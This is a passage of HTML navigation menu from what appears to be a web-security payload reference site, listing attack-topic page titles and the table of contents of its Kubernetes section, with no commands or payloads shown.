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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
CSRF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
CSRF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSRF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking: Web Application Security Vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Dom Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Dom Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dom%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
Dom Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Serialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/YAML/" class="md-nav__link">
<span class="md-ellipsis">
YAML Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" checked>
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
Kubernetes
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
Kubernetes
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
Kubernetes
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
Kubernetes
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#container-environment" class="md-nav__link">
<span class="md-ellipsis">
Container Environment
</span>
</a>
<nav class="md-nav" aria-label="Container Environment">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#service-account" class="md-nav__link">
<span class="md-ellipsis">
Service Account
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#environment-variables" class="md-nav__link">
<span class="md-ellipsis">
Environment Variables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#simulating-kubectl-api-requests" class="md-nav__link">
<span class="md-ellipsis">
Simulating kubectl API Requests
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#information-gathering" class="md-nav__link">
<span class="md-ellipsis">
Information Gathering
</span>
</a>
<nav class="md-nav" aria-label="Information Gathering">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#service-account-permissions" class="md-nav__link">
<span class="md-ellipsis">
Service Account Permissions
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#secrets-configmaps-and-volumes" class="md-nav__link">
<span class="md-ellipsis">
Secrets, ConfigMaps, and Volumes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#privileged-containers" class="md-nav__link">
<span class="md-ellipsis">
Privileged Containers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#rbac-configuration" class="md-nav__link">
<span class="md-ellipsis">
RBAC Configuration
</span>
</a>
<nav class="md-nav" aria-label="RBAC Configuration">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#listing-secrets" class="md-nav__link">
<span class="md-ellipsis">
Listing Secrets
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#access-any-resource-or-verb" class="md-nav__link">
<span class="md-ellipsis">
Access Any Resource or Verb
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#pod-creation" class="md-nav__link">
<span class="md-ellipsis">
Pod Creation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#privilege-to-use-podsexec" class="md-nav__link">
<span class="md-ellipsis">
Privilege to Use Pods/Exec
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#privilege-to-getpatch-rolebindings" class="md-nav__link">
<span class="md-ellipsis">
Privilege to Get/Patch Rolebindings
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#impersonating-a-privileged-account" class="md-nav__link">
<span class="md-ellipsis">
Impersonating a Privileged Account
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#privileged-service-account-token" class="md-nav__link">
<span class="md-ellipsis">
Privileged Service Account Token
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#interesting-endpoints-to-reach" class="md-nav__link">
<span class="md-ellipsis">
Interesting endpoints to reach
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#api-addresses-that-you-should-know" class="md-nav__link">
<span class="md-ellipsis">
API addresses that you should know
</span>
</a>
<nav class="md-nav" aria-label="API addresses that you should know">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#cadvisor" class="md-nav__link">
<span class="md-ellipsis">
cAdvisor
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#insecure-api-server" class="md-nav__link">
<span class="md-ellipsis">
Insecure API server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#secure-api-server" class="md-nav__link">
<span class="md-ellipsis">
Secure API Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#etcd-api" class="md-nav__link">
<span class="md-ellipsis">
etcd API
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#kubelet-api" class="md-nav__link">
<span class="md-ellipsis">
Kubelet API
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#kubelet-read-only" class="md-nav__link">
<span class="md-ellipsis">
kubelet (Read only)
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LaTeX%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LaTex Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
<span class="md-ellipsis">
Mass Assignment
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_35">
<span class="md-nav__icon md-icon"></span>
Mass Assignment
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Mass%20Assignment/" class="md-nav__link">
<span class="md-ellipsis">
Mass Assignment
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
<span class="md-ellipsis">
Methodology and Resources
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_36">
<span class="md-nav__icon md-icon"></span>
Methodology and Resources
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
<span class="md-ellipsis">
Active Directory Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Kubernetes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
<span class="md-ellipsis">
Application Escape and Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
HTML Smuggling
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
<span class="md-ellipsis">
Initial Access
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Evasion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Bug Hunting Methodology and Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Miscellaneous%20-%20Tricks/" class="md-nav__link">
<span class="md-ellipsis">
Miscellaneous & Tricks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
<span class="md-ellipsis">
Network Pivoting Techniques
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
<span class="md-ellipsis">
Office - Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management & CI/CD Compromise
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Subdomains%20Enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Subdomains Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Reports
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
